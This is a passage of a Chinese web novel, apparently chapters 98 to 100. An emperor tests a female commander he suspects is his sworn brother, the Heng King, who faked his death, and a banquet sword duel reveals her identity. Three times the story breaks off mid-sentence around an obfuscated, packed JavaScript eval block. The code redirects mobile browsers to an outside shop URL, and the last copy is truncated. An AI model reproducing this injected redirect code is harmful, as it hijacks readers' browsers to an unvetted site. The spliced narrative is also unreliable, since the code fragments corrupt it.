“姜指挥,你在昏倒之前,为什么叫我大哥?”他的脸异常苍白,声音中压抑着什么。 从走过来到止步,他的目光一直牢牢锁在姜六航脸上,这时更是一瞬不移,似乎要捕捉到面前人的每一个细小表情。 姜六航一愣,面上不由得呆滞了一瞬。 这还用问吗? 因为她是姜六航啊!除了姜六航,这世上还有谁叫他“大哥”? 她以为大哥知道她是姜六航后,大哥的第一句话会问,为什么要骗他?为什么这样狠心?或者问,当初是怎样瞒过众人耳目死遁的?再或者问,是否真的喜欢他? 却想不到,是这个。 这一瞬间,姜六航敏锐地察觉到不对劲。 不知为何,她无比笃定,只要她一声“大哥”叫出口,不需要再多解释和证实,大哥即可确定她的身份,万不会问这样的话。 姜六航眸光沉下,脑中转过好几个猜测。 是不是,还能挽救一下? “皇上您说什么?臣怎么会叫您‘大哥’?” 女子神情惊讶困惑,是一个臣子听到这话该有的样子,没有丝毫破绽。秦信眸底暗了暗,加重语气:“我听见了,你叫的‘大哥’。” “臣叫的是‘皇上’,您听错了。” 对面静了片刻,“那后面说的什么?” 姜六航暗暗握紧拳。赌对了,不知因何缘故,大哥没听见她说的那句话,方才是设了陷阱试探。若不是她感觉敏锐,就被诈出来了。 可是,后面? 我喜欢你,四个字,用哪四个字代替,才符合当时的情景,像是她在当时会说出来的话? “怎么?才过了一夜,说过的话就不记得了?还要考虑一番?” 对面的视线锐利地盯视过来,语音喑哑中含着尖锐的锋芒,姜六航再不及仔细考虑斟酌,抓住脑海里出现的字数相当的一句话:“臣说,臣负圣恩。” 秦信眸光像被石头打破的水面,骤然剧烈颤动。 皇上,臣负圣恩。 可是,那口型,那神态,分明和六航叫他“大哥”时那样相似。 “你为何抱我?” “臣……心中愧疚,又悲痛难已,情之所至,忘了尊卑,请皇上恕罪。” 女子的回答滴水不漏,存心的试探得到这样的结果,秦信居然没觉得意外,他闭了闭眼,再睁开,强忍住还要出口的质问,哑声道:“这次能脱险,姜指挥居功至伟,朕会记得姜指挥的功劳。” 姜六航不想就这样过关了,她恭敬地垂首:“护卫皇上本就是臣的职责,万不敢居功。” “姜指挥劳累过度,好好休息。”说完这句,秦信再没多话,转身出门。 待他的背影消失在门口,姜六航垮下撑着的肩背,吐出一口气,腿直发软,向后坐到了床上。 应该是蒙混过去了吧? 门外,秦信没有停顿地走向隔壁房间,进屋后坐于案后,脑子里千万重念头穿梭。 臣负圣恩。 这话说起来别扭,少了一个字,一般应该说,臣有负圣恩。 是当时危急关头,来不及把话说全吗? 一而再,再而三,升起疑心,又被一桩桩证据打消。那些证据,称得上是铁证如山,所以他一次也没再去查过。 “冯简,命锦衣卫详查姜指挥。派人去泉州和北狄,任何与姜指挥有关的人、事,都要一查到底。”屋内响起暗哑的声音。 “是!”冯简领命。 —— 李婶很快端了饭菜进来。 姜六航趁机打探消息。 “我昨晚怎么到这儿的?” “军爷们用木板把你抬来的。姜指挥你睡得好沉,我给你换衣裳,涂药膏,你一点知觉也没有。要不是大夫说你只是累着了,睡饱就好,我可要担心死了。”李婶和这位姜指挥只接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111188|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触过一回,但那声声“李婶”叫得她心里热乎乎的。昨晚姜指挥昏睡不醒,她真的很担心,时不时就要进来看一眼。 再问战况,李婶却所知甚少,姜六航停下打探,赶紧吃了饭,走出屋子,打算找一个军士问问。几个御林军守卫在隔壁门口,发现姜六航,俱都无声地朝她抱拳行礼,目中满是敬仰。 姜六航感觉到他们态度的细微变化。 从前军士对她也是尊敬的,却不像此时,犹如仰望神明。这种态度,她只在作为姜帅时,在军士们眼中见过。 她朝远离屋子的方向行去。 才走二三十步,迎面雷宏领着一人过来。 姜六航看清那人,震惊地睁大眼。 从庸叔叔! 从庸叔叔不是在京城吗?怎么来这了?还洗掉了易容? 雷宏走到近前,见姜指挥紧盯着他身后的人,连忙介绍:“姜指挥,这位是鬼手神医。” “姜指挥,幸会!”这人拱手行礼。 姜六航顿了一瞬,拱手还礼:“久仰神医大名,幸会!” 这人饶有兴趣地打量着眼前满面血痂的女子,目中闪烁,“听闻姜指挥率三千军士,与苏用三万兵士对抗三天多,实在令人惊异。姜指挥用兵之术,布阵之法,足可比衡王!” 这声音、这语调、这神态、这说的话……他身上的衣裳和头上的玉冠,颜色和样式很像从庸叔叔的那套,细节却有不同。 姜六航忍不住看了这人一眼又一眼,心中满是狐疑。 “神医盛赞,实不敢当,我只习得衡王战术的皮毛,哪敢……” “从庸!” 一声大喝传来。 姜六航如闻雷鸣,身体猛地一震,话音嘎然而止,抬目望去。 从前面一栋屋的游廊转过来一群江湖人,走在正中的,正是童翼和黄超。此时,黄超一双铜铃大眼睁得滚圆,遥望着这边。 动作快于思想,姜六航倏地抬袖遮住脸,侧过身子。 从衣袖遮挡的缝隙中,却见身边的人陡然跃起,身形灵巧无比,直往那群江湖人冲去。 姜六航愕然地张开嘴。 面对直冲而来的“鬼手神医”,那群江湖人瞬间也惊呆了。 直到“鬼手神医”拐到距离他们不远的一条岔道,这些江湖人才反应过来,飞身赶去拦截,一边高声叫嚷。 “他不是鬼手神医!” “是方三!我和他交过几次手,认得他的轻功!” “我家的宝鼎就是他偷走的,我也认得他的轻功,是方三!” “抓住他!” 场面上刹时一片混乱,人影交错,喧闹嚣天,二十几人闹出了百余人战斗的动静。 眼看那些人快追上方三,姜六航急得手心冒出了一层薄汗,偏旁边的雷宏一拍大腿:“皇上召见他,不管他是谁,都要先觐见皇上再说。我去喊人……” 姜六航不等他说完,问道:“皇上为何召见他?” 雷宏没察觉她的别有用意,如今在军士们心中,姜指挥的威望只比衡王稍逊,听她相问,认真地答道:“昨天是鬼……那个人报信,童帮主才带人来,牵制住苏用五千兵力。他立了大功,所以皇上召见。” 余光瞥见方三陡然加速,甩开了追着的人,几下跑得没了影,姜六航这才松口气,任雷宏离开去叫人追堵方三。 那些江湖人愤愤地骂着。 “骗了我们这么多人。” “呸!他还替鬼手神医许下承诺,让我空欢喜一场。” “抓到他定要先好好地折磨一番。” 姜六航背过身,正要回屋,突见那边屋檐下立着一人,苍白面容,手指慢慢捻着佛珠,静静望着这边,不知站在那里多久了。 99. 第 99 章 众武者紧接着也发现了皇帝,面面相觑,不知该如何行礼。这一迟疑间,皇帝已转身进了屋子。 守在门口的一个军士过来,召童翼去觐见皇帝。 望着童翼向屋子走去的背影,姜六航心下十分担忧,总觉得身上套着的马甲岌岌可危。 转眼又见到刚去拦截方三的师父悻悻地走回来,眉头紧蹙,把抽出的剑插回鞘中。她似乎听到了剑鞘合拢的那声轻响,缩了缩脖子,再不敢待在师父眼前,连忙走开。 一边垂眸思索。 方三怎么请来的童翼?动用了那块令牌吗? 若是如此,大哥必定会问起始末。 当年的童翼实在太狼狈,这么多年,他从未向外说过那几日里与赤霄剑客的交集,但若大哥问起,他肯定不敢隐瞒,定会供出赤霄剑客。 师父就在这里,大哥或许会把他叫去询问赤霄剑客的事。 师父可能会说出增气丹和龙影面具。 想到这里,姜六航只觉太阳穴突突直跳。 更让她心慌意乱的是,这还不是最可怕的——最可怕的是,师父和裴佑到了同一处! 调查需要时间,还可以苟一苟,但一旦师父和裴佑碰面,只要一过招,真相即刻大白! 天下都会知道,赤霄剑客即衡王。 也会知道,衡王乃是假死脱身——赤霄剑客去年还露过面呢。 这样一来,她死遁的用心全部白费了。 姜六航按着太阳穴,轻轻揉捏按压,却止不住里面的刺痛。 目前最紧急的,是阻止师父和裴佑碰面。可在大哥的眼皮子底下,她又没了内力,不敢做出任何多余的举动。如果想像当年在梁州一样把师父引开,只怕师父没被引开,她先被捉住了。 至于童翼那边…… 刚才听那些江湖人的怒骂,方三假借从庸叔叔的名义许下承诺,姜六航心里存了一分侥幸:或许,方三没挖出令牌,只是承诺为人治病,童翼和那些人就答应来东山了?毕竟,她在那信上交待过方三,尽量不要暴露出赤霄剑客。 但,可能吗?童翼那样心智幽深的人,就因为“鬼手神医”一个治病的承诺,都不及查证,就贸然地带着帮众与人开战? 姜六航其实打心底里不相信。 想了一圈,直想得脑袋更加疼痛,姜六航无奈地发现,她好像什么都做不了,只能听天由命。 只能在心中求神念佛,默默祈祷,童翼要面子,不把当年的事说得太详细。 大哥不关心赤霄剑客的事,不召师父询问。 裴佑忙着收拾叛兵,没时间和精力与师父切磋剑法。 念来念去觉得不行,还是要先把情况弄清楚,做到心中有数。 正好一个她认得的小队长对面走过来,姜六航连忙招手:“张队长,请停一下,我有事想问你。” —— 就在姜六航叫住张队长的时候,屋子里,秦信于座椅上抬起眼,盯着站在面前的人,略带惊讶地问:“赤霄剑客?是她派方三来送的信?” “是。”童翼恭敬地垂首,“十年前,赤霄剑客曾救过在下的性命,因此在下给她令牌,允诺为她做一件事。方三说受人委托来讨要承诺,又知道令牌所在,必是她派来的。” 秦信沉眸,缓缓转动佛珠,脑中浮现出那女子的身影。 那是第一个他觉得和六航相似的人,而后来,出现了一个更神似的人。 秦信止住思绪,缓声道:“童帮主此次救驾有功,想要什么奖赏?” 童翼推辞:“皇上乃天下之主,君主有难,子民自当赴汤蹈火,万死不辞,怎敢要奖赏?” “有功当赏,童帮主只管说就是。” 童翼想了想:“在下想要一块皇上赐给风雷帮的牌匾,可以吗?” 秦信颔首:“牌匾会择一吉日送到风雷帮。” 童翼连忙谢恩告退。 出得门后,他往前走时,见到路边一个满脸血痂的女子和军士说话,他不在意地收回目光,继续前行。 又走了一段,他在风雷帮的第一心腹等在那里。这人脑子虽不大够用,但对他忠心耿耿,武艺又高强。 “帮主,皇上给我们什么奖赏了?” “我求了一块嘉奖风雷帮的牌匾。” “帮主为什么求这个?就是不要别的,求些黄金也好啊。”心腹不解。 童翼悠悠道:“建国几年,朝廷对江湖的管制愈加规范严密,照这个趋势下去,只怕许多帮派会逐渐消失。” 心腹觉得不至于,但即使他迟钝,也感觉得到情势的变化,江湖人受到的约束越来越多,再不如以往那样舒坦、肆意了,江湖也远不如以往热闹了。 “江湖人的日子不好过,就会去找其它的事做,种田、做镖师、护院……” 童翼看得清楚,这正是皇上的目的。 是江湖的危机,也是风雷帮的机遇。 “但我们有了皇帝钦赐的牌匾,夏朝只要还剩下一个帮派,那必是风雷帮。” 心腹眼睛陡然亮起来:“帮主英明!” 他们的帮主,武功虽不咋地,看事却极明白!风雷帮就是在帮主的带领下强盛起来的! “帮主,那方三偷偷摸摸的,不知到底是不是受了赤霄剑客的委托,要是他骗人,以后赤霄剑客找了来,这次的不认,要帮主再给她做一件事,做不做?”心腹忧愁地问。 童翼斯文地笑道:“我只认牌,如果方三不是赤霄剑客派来的,也只怪她自己。谁让她把令牌随手埋在地里,让方三知晓的?” 对啊!他们只认牌! 心腹释然。 —— 屋内,童翼离开后,秦信和冯简君臣两人也正说着赤霄剑客。 “皇上,赤霄剑客怎会知道我们被困?” 秦信眉眼未动:“那女子探查消息向来有些神鬼莫测的手段。” 冯简想起往事,赞同地点头:“对!那几年,斩月楼余孽东躲西藏,锦衣卫都探查不到他们的踪迹,她却能轻易地找到,每次一找就找到一大批。” 这么一想,赤霄剑客探查到他们被困的消息,倒是不那么让人惊异了。 冯简很是感激地叹道:“这回倒是得亏了赤霄剑客。我们能撑到小裴国公来,第一大功臣是姜指挥,第二大功臣就是她。”又疑惑地道,“她怎么自己不出面?让方三假扮鬼手神医?” 秦信语气平静地道:“她向来藏首藏尾,满嘴谎言,这样做也不奇怪。” 冯简:“……” 这是皇上第三次说赤霄剑客“满嘴谎言”了。 “也不一定就是她。”秦信摩挲着佛珠,思索着道,“可能是方三,也可能是其他人,探到了朕被困在东山,又恰好知道那令牌。” 冯简请示:“皇上,这事要不要追查?” 秦信思忖片刻,道:“带出来的人手不够,先彻查此次盘云县事件。那传消息的人不管是否赤霄剑客,都没有敌意,先暂放到一边。” “是。” “随行的御林军中可有行迹异常者?” “臣仔细筛了一遍,没发现问题。” 对此秦信并不意外。御林军本就经过三番五次的筛选,其背景、品性都经过再三评估,而这次带出来的,更是优中选优,武艺、忠诚俱是过得关的。 想到这么多好男儿丧命在此,秦信心中一股悲怆涌上来,又混杂着强烈的悔意。 若是那时得了姜指挥的提醒及时退出,这些军士不会丧命,他们会回到家中,受到等候在家的父母、妻儿的嘘寒问暖。 还有悬刃隘的守兵,大多只是听从上峰的命令,以为真的在围剿作乱的匪徒,万余兵士不明不白地死去。 “苏用的审讯可有进展?”他深深吸气,握紧刀柄,问道。 冯简恨恨地咬牙:“他只说是六年前儿子触犯军规,被当时的谢执法判斩,说他从皇上在和州时就追随身侧,皇上却不肯袒护,怀恨在心,这次寻到机会,就起了弑君的念头。用了数遍重刑,都不肯说从哪里得知皇上的行踪。” “告诉温涟,放开手,两天之内,给朕撬开苏用的嘴。” 冯简凛然,应了一声,出去让人传话。 再进来时,却见皇帝安静地坐于案后,却没处理刚送来的堆积几天的朝务,目光悠远,不知在想着什么。过了半晌,皇帝才像回过神来,开口吩咐道:“去买一顶女子戴的帏帽,交给姜指挥,让她晚上参宴时戴上。” 冯简一时没领会圣命的用意,茫然地应道:“是,臣这就让人去买。” 皇帝似乎看出他的不解,解释道:“先前姜指挥见到童帮主等人突然出现,慌忙用袖遮脸,看那样子惊得不轻,想是不好意思以那面目见外人。今晚给江湖人士的庆功宴,她戴上帏帽,就不会难为情了。”那一向冷沉的声音不易察觉地和缓了些许。 冯简努力回想了一下,他当时的全部注意力都在假鬼手神医引起的骚乱,没留意姜指挥,但经皇上这么一提,他隐约想起,当时他视线快速地掠过时,姜指挥确实好像是用衣袖遮着脸。 他悄悄瞄皇上一眼,暗自揣测,皇上对姜指挥照顾这样周到,到底是感于她的救驾之功,还是心底已经认定,姜指挥是衡王? “交代下人,按时给姜指挥涂药。” “是。”冯简应着,心里暗暗叫苦。 怎么办啊?皇上好像魔障了。 还有姜指挥那边……脑中浮现出高台之上,姜指挥喊叫时眼中满溢的情意,还有紧抱住皇上的动作,冯简头疼不已。 真是一团乱麻! —— 路边,张队长提起昨天的事,仍然很激动。 “属下那时就在台下看着那两把刀劈向皇上和姜指挥,心里急得不知如何是好,就在那时,四周的兄弟们都叫了起来,‘援兵来了!援兵来了!’两支箭飞过来,把那两个叛兵射死了,皇上和姜指挥你们一点都没伤着。” 姜六航也很是庆幸,笑着问:“后来呢?两边又打了多久?” “叛兵先前和我们打了大半天,死伤惨重,小裴国公来了后很快就收拾了他们,苏用也被捉住了。” 姜六航暗自思忖,听张队长所说,应该就是在她喊出那句话的时候,援兵正好来了,欢呼声掩盖住了她的声音,所以大哥没听见她喊的那句话。 还有一个关键的。 “童帮主怎么会来给我们助阵的?” 张队长还不知道刚才鬼手神医变方三的变故,只说是鬼手神医报信,挖出了童帮主给救命恩人的令牌,童帮主就来了。 姜六航心沉下去。 果然方三还是被迫动用了令牌。 情况都问明了,她正要让张队长自去,不经意间捕捉到他偷瞄过来满富含义的目光,心里咯噔一下。 这目光,似曾相识。 “还有什么事?” “没……没什么。” “说!” 张队长期期艾艾道:“姜指挥……你在台上抱住皇上……台上台下,许多人都看到了。” 姜六航一阵尴尬。 竟然许多人都看到了吗? 当时以为没了以后,不需顾虑,顺心而为。 却没想活了下来。 如今却让人有些难为情了。大庭广众之下,众目睽睽的。 “冯统领说是姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115399|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指挥忠心护主,为皇上挡刀。” 姜六航没想到冯简这样贴心,为她找好了说辞,连忙道:“是啊,当时我一时情急,就抱住了皇上。” 张队长欲言又止。 姜六航:“说!” “那时离得近的都看得很清楚,刀是朝着皇上脖颈去的,姜指挥你手抱住了皇上的腰,头靠在皇上胸口,却没挡住那里。” 姜六航:“……现在军中对这件事都是怎么说的?” 年前在京城就有满天飞的传言,现今她又做出这样的举动,不知又会传出怎样离谱的言论呢! “他们都说,姜指挥你喜欢皇上,临死都放不下。” 姜六航扶住额。 “说姜指挥你抱住皇上之前,喊了一句话。” “什么话?” “皇上,我喜欢你!” 姜六航:“!!!不是,那时我的声音都被盖住了,怎么听到的?谁听到的?” “不知道谁听见的,现在都这样说。” “这是传谣!不知道军中不许传谣吗?” “是是是,姜指挥,我没这样说,我让他们也不要说了……” 姜六航头疼地挥手,张队长忙不迭地跑了。 姜六航心事重重地回屋,后面的时间,时刻关注着隔壁的动静。 皇帝一直没召见师父。 到下午时,以审讯闻名的锦衣卫指挥佥事温涟来了,进了隔壁屋子。 —— “皇上,苏用招供了,他说,此次益州、兰州、顺州的反叛都是宣德帝第三子李照暗中联络心怀旧朝之人所为。元月下旬,李照派人联系他,说大军牵制住小裴国公,待皇上进入盘云县后,让他率兵来杀害皇上。”温涟是个二十几岁面皮白净的青年,站在皇帝面前,不急不徐地说道,声音如漴漴泉水般悦耳。 秦信抬起眼皮:“李照可探不到朕的行踪,朝中或军中必有内应。十之八九就是那人和李照联合,设下盘云县的圈套。” “李照也防着苏用,没告诉他这些。”温涟无奈地道,“以臣来看,从他的嘴中再挖不出什么。” 秦信左手放到桌面上,佛珠和桌面相触,发出“嗒”的一声轻响,眉眼冷冽:“那留着他没用了。你现在就去,把他拉到东山上斩了,让战死军士的英魂都看着。朕要亲自监斩。” 温涟面上露出为难:“这……没有审判、复核就杀了,谢尚书……” 秦信打断他:“此为锦衣卫办案。” 锦衣卫直属皇帝,不受三司约束。但非战场之上,不经程序就杀人,谢尚书还是会弹劾的。温涟苦着脸,却也只能领命。 随在皇帝身后出门时,冯简悄悄拉拉温涟的衣袖,好奇地问:“你用了什么刑法?先前死不肯招认,这回半天就招了。” 温涟淡然道:“我把那毒草磨出汁液,抹到了他的脸上。” 冯简“嘶”地一声,打了个冷战。 —— 未时,姜六航站在门口张望。 大半个时辰前,大哥出去,这时候还没回来。 带着温涟,干什么去了? 姜六航脑子里许多乱七八糟的念头转过来转过去,抓心挠肝,坐立不安,正当她在门口走来走去的时候,裴佑来了。 小裴国公衣裳脏污,像在泥地里打过滚,脸上沾满灰尘,发髻松散,几绺发丝飘落下来,整个人狼狈不堪,看着姜六航的一双眼却异常明亮:“我的事办得差不多了,听说你晕了,我来看看你。” 姜六航感动坏了:“一路赶来,几天几夜没睡了吧?事办完了就休息,还特意过来干什么?没人告诉你我只是累着了才晕的?” “说了。我看一眼就睡,不费事。”裴佑朝她脸上盯了几眼,“你的脸,不要紧吧?” “不要紧,按时涂药,一个来月就全部好了。” 裴佑往房里走去,“这里面有床吧?” “有、有。”姜六航赶紧搀着她的胳膊。 两人进屋后,姜六航顺手去脱裴佑的衣裳,把衣裳放在椅子上,转过身来,却见裴佑没有上床,怔怔地望着她,眼中充满伤感、怀念,隐隐有水光闪烁。 “怎么还不去睡?”姜六航奇怪地问。 “以前从战场上下来,姜帅也这样给我脱过战袍。”裴佑神情恍惚地喃喃道。 一股热流蓦地涌到喉咙口,姜六航背过手,捏紧了手指,不知该说什么,半晌憋出一句,声音微微发哑:“是吗?” “是啊,你和姜帅真是像极了,开阔的性情,绝高的天赋,相近的思虑。那洞里的布置我看了,如果是姜帅,大约也是那样布置。”她忽然聚拢眸光,定定地看着姜六航,认真地道,“姜恒,你不要喜欢皇帝好不好?” 姜六航愣了一下,垂下眼,避开她的视线:“怎么说起这个了?” “衡王差不多把皇帝心里的位置占完了,你喜欢他,日后只有数不尽的伤心。”裴佑面色诚恳,商量的语气道,“把喜欢收回来,好不好?” 姜六航心中五味杂陈,道:“如果他不喜欢我,我就不喜欢他。” 裴佑展开颜,一字一字道:“记住你说的话。”这才满意地上床去了。 这时隔壁传来动静,姜六航正要去探看,冯简在外敲门,进来后交给她一顶帏帽:“刚在街上买的,皇上让你今晚参宴时戴上。” 冯简出去后,姜六航拿着帏帽转身,准备放到衣柜里,忽见床上一双眼睛幽幽地看着她。 “是不是很感动皇上这样体贴?你不要会错了意,他只是怕你丢了朝廷的脸面。” 姜六航:“……” 她走过去,用手掌盖住裴佑的眼:“睡吧。” 100. 第 100 章 裴佑只睡了一个时辰就到了晚宴时间,姜六航叫醒她,两人一起前往县衙大堂。 沿路的树木上、屋檐下挂起了灯笼,把县衙照得通亮。到达大堂时,朝廷将官、被邀的几十个江湖人士都已基本在座。大堂里闹哄哄的,三两聚在一起,说着昨天杀敌的种种,或者武艺招式等。 姜六航目光在垂幕后一扫,找到了师父。他和飞燕侠邓飞石坐在一起,相谈正欢。 看到两人坐的位置,姜六航心口一凉。 天要亡她! 将官们坐在左边,自动按照官职落座。裴佑为大将军,又是国公,理所当然要坐在第一个。 而右边的江湖人士,做为此次援兵的主力,童翼坐在第一个,其他的人却没固定的顺序,自己随意找了地方坐下。 偏师父就坐在了第二个,裴佑一抬眼就能和师父对上! 裴佑若是决意要寻师父切磋武艺,她阻止不了,但若是裴佑本没想起这事,这一对上眼,再一问人,知道那是破山剑,可不就想起了吗? 姜六航做不了多的,但能挽救的时候,还是要挣扎一下。 “我们一起坐。”她拉着裴佑的胳膊。 尽人事、听天命。 她的座位靠下一点,和师父交错。而且和裴佑坐在一起,在宴中时,她可以尽量想办法,使得裴佑的注意力不要转向师父。 姜六航暗自下定决心,今天的晚宴,她要一步不离地跟着裴佑,严密关注着她的动向。 “好。”裴佑不疑有它,高兴地应下。 两人相携落座。 按道理,姜六航应该把上位让给裴佑,但她只作不觉,和旁边的郑大海打着招呼就坐下了——能让裴佑往下挪一个位置也是好的。 裴佑丝毫没在意,在她的下首坐下。 姜六航暗自瞄了瞄,裴佑和师父错开的距离还比较长,总算安全多了。 不久,皇帝在冯简等人的护卫下到场。 众人齐齐站起,躬身作揖:“皇上圣安!” “诸位请坐。”上面传来沉缓的声音。 “朕被逆臣所困,幸得诸位义薄云天,不惧凶险赶来相救,朕不胜感激,今晚特设宴答谢。请诸位畅饮畅食,定要尽兴而归。”秦信朝向众武者举起杯盏。 童翼带头道:“多谢皇上。” 秦信和他们共饮了一杯酒,让他们自便。 乐声适时响起,两队舞女执着团扇,踩着节拍到了大堂中央,翩翩起舞。 江湖人士开始有些拘束,几杯酒下肚,很快放开了,边赏着歌舞,边相互谈笑。 秦信坐在上面,很少说话,垂着眼帘,慢慢地吃着酒菜,烛光在他脸上落下斑驳的影子。 姜六航朝他望了一眼,察觉他肩背紧绷,有些担心。 堂内烛火闪耀,大哥却没戴着帏帽。 在这答谢宴上,主持者戴着帏帽确实不太好。 但大哥他是皇帝啊,任性一点其实也没什么。 虽然忧心,此时姜六航却顾不上,她积极地和裴佑说话,讨论三天半的防守,八阵图的创新。所幸她的策略很有效果,裴佑兴致勃勃,直到宴会过了大半段,也没多留意那边的武者。 姜六航暗暗握拳。 坚持! 最多再半个时辰,这宴会就散了。 今晚她要和裴佑抵足而眠。 明天一早,这些武者就离开盘云县,各回各家了。 就在这时,一道粗犷的声音传来:“昨天看黄大侠杀敌,如意剑法似乎有所精进?剑意更加通畅阔达。” 正和姜六航说话的裴佑霍地转头,目光炯炯地朝那声音传来的方向望去,随即起身,往那里走去。 完了! 姜六航重重地闭眼,再没试图阻拦。 拦不住了。 大半个时辰,费尽心机,该来的终究还是来了。 她僵坐在席上,等待自己的马甲被揭开。 唯一值得安慰的是,那马甲下的真面目,在场的除了师父,无人得知。 师父不会画画,画不出她的样子。 “五年前,我在梁州与一人过招,他的剑法和如意剑法有些相似之处,我从中得到感悟,这几年潜心琢磨,有些成效。” 这句话说完,黄超看到一个女子站在了他面前。 英姿勃勃,眉眼飞扬。 黄超之前已经听人说过,她是小裴国公。 女子朝他抱拳,声音清朗:“在下裴佑,可否向黄大侠请教如意剑法?” —— 众人移步到院子。 四围的树木上,临时又多挂上了几盏灯笼,把整个院子照得亮如白昼。 将官们和武林人士围在周围,俱都兴奋不已。 “你们说,谁会胜?” “小裴国公很少和江湖人交手,到底经验差些。” “见识过再世剑法的人可都称赞有加啊。” 姜六航站在将官的前排,听着那些无知无觉的谈论,看着场中相对而立的两人,心中暗自叹气。 只有她知道,这两人交手的那刻,将爆出怎样的惊天秘密,掀起怎样的惊天巨浪。 大哥马上就会知道,义弟骗了他。一把火遁走,却在他心上留下了至今未愈的伤痕,不敢对着烛火,不敢对着夕阳。 知道她没死,大哥会是怎样的反应? 大哥呢?现在哪里? 姜六航转头四顾。 屋前的台阶上,冯简等人簇拥着一道身影。 那被护卫在中间的人站在背光处,面容晦暗不清,姜六航的视线投过去时,那人朝她回望了过来。 姜六航心里一跳,慌忙收回视线,望向场中。 “黄大侠请!” “裴国公请!” 两声过后,剑光骤起。 “咦!” 电光火石的三招过后,场中的两人同时出声,不约而同地一齐收剑,后退一步,互相打量着对方。 姜六航瞪大了眼,不自觉地屏住呼吸,两手紧握成拳。 要爆了!要爆了! 她心里大叫,眼角余光飘向台阶那里。 嗡嗡的议论声四起。 “怎么回事?” “才一招,怎么就不打了?” 两人对着打量了一会,裴佑先开口:“原来这就是如意剑法,我五年前就见识了。”她振了振手中白虹剑,剑身发出一声清越的铮鸣,“赤霄剑客,名不虚传!” 在场的人都一愣,站在姜六航旁边的郑大海叫道:“裴国公,你五年前一直在军中,怎么会和赤霄剑客交手?你在哪里碰上她的?” “在——”裴佑顿了一下。 她说出那事,不会给赤霄剑客添麻烦吧? 再一想,那事已过去五年,且赤霄剑客又不是铁骨军军士,想必谢尚书也没那个心思再去追究她盗尸的举动。再说,赤霄剑客武功高强,没那么容易被抓住。 而这事说出来,破山剑对徒弟的恼恨应该会少些吧?这次皇帝能脱困,多亏了赤霄剑客的令牌,若真能缓和一些她与破山剑的关系,也算回报了一点点她的恩情。 想定,裴佑再不迟疑,朗声道:“五年前在梁州,杨承尸首被挂于城墙的第三天晚上,有两个蒙面人盗走尸首,其中一人和我过了九招,用的就是如意剑法。那人身形不似黄大侠,既不是黄大侠,就必是赤霄剑客了。” “轰隆——!”恍如一道天雷从头顶劈下,秦信耳畔嗡嗡作响,全身所有的血仿佛都一下子冲到了头顶,以致脑子里一阵阵地晕眩,周遭都显得不真切起来。 “你说什么?” 他咬住舌尖,刺痛拉回意识,一边问着,一边跨下台阶往那边走过去,步子跨得又大又急,黑色大氅向后扬起,一双眼里翻涌着滔天巨浪,转眼到了人群前。 那苍白脸上强抑的神情,再是迟钝的人都能察觉到情形异常,赶紧往两边散开,给他让出一条路。 秦信大步直接走到裴佑面前,声音绷紧得似要断裂的弦:“你说,那晚和你交手的盗尸人是赤霄剑客?” 裴佑满心莫名,堂兄的神色,仿佛她的回答将决定一场生死,她咽了口唾沫,谨慎地答道:“如果这世上没有第三个人会使如意剑法,那人就必定是赤霄剑客。” 秦信霍地转头朝向黄超,声音嘶哑地问:“除了赤霄剑客,黄大侠可还将如意剑法传给了其他人?” 黄超此时脑袋里成了一团浆糊,本要说那盗尸人使的不是如意剑法,但被皇帝一双幽黑的眸子紧盯着,他滚到舌尖的话不由得咽了回去,先回答皇帝的问话:“在下只把如意剑法传给了赤霄剑客。” “那么,那人就是赤霄剑客。”皇帝的眼眶蓦然通红,苍白的脸涌上一股奇异的红潮,咬牙握拳,全身都在剧烈地颤抖。 他朝着黄超走过去,到了近前,手指点着自己的手臂,用只有两个人听得到的声音道:“赤霄剑客左臂这里,是不是有一颗红痣?” 黄超点头,下意识地也跟着压低声音道:“是有一颗红痣。” 众人听不见两人说了什么,但所有的人都看见,皇帝嘴角缓缓挑起一丝弧度,脸上似乎狂喜,目中又似要流下泪来,整个面色扭曲怪异。 人们骇然相顾,都满心疑惑,却不敢出声,场上一时寂如死地。 “那人是六航,六航没死。”终于,皇帝开口,声音颤抖。 裴佑等人一口气倒吸进喉咙里:皇帝又发疯了! 郑大海失声叫了出来:“皇上您是说,赤霄剑客是衡王?” 这时根本没人注意到他的失仪,都紧盯着皇帝。 “是。”秦信强抑着情绪道。 是六航啊。 六航,还活着啊! 念及此,他满心柔软,满心喜悦,恨不得仰天长啸。 和州重逢时,自己其实就认出了,可又一直不敢相信。 六航假做不识,当面不认,戴着帏帽遮住面容,说脸上有伤,丑陋不堪。在百晓楼,六航抓着野鸡,对他说,喜欢炒了吃。 这个,满嘴谎言的小骗子。 皇帝一声“是”出口,场上掀起滔天巨浪,淹没了整个院子。 人们忘了皇帝在眼前,忘了对皇权的敬畏,高声争论。 “绝不可能! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 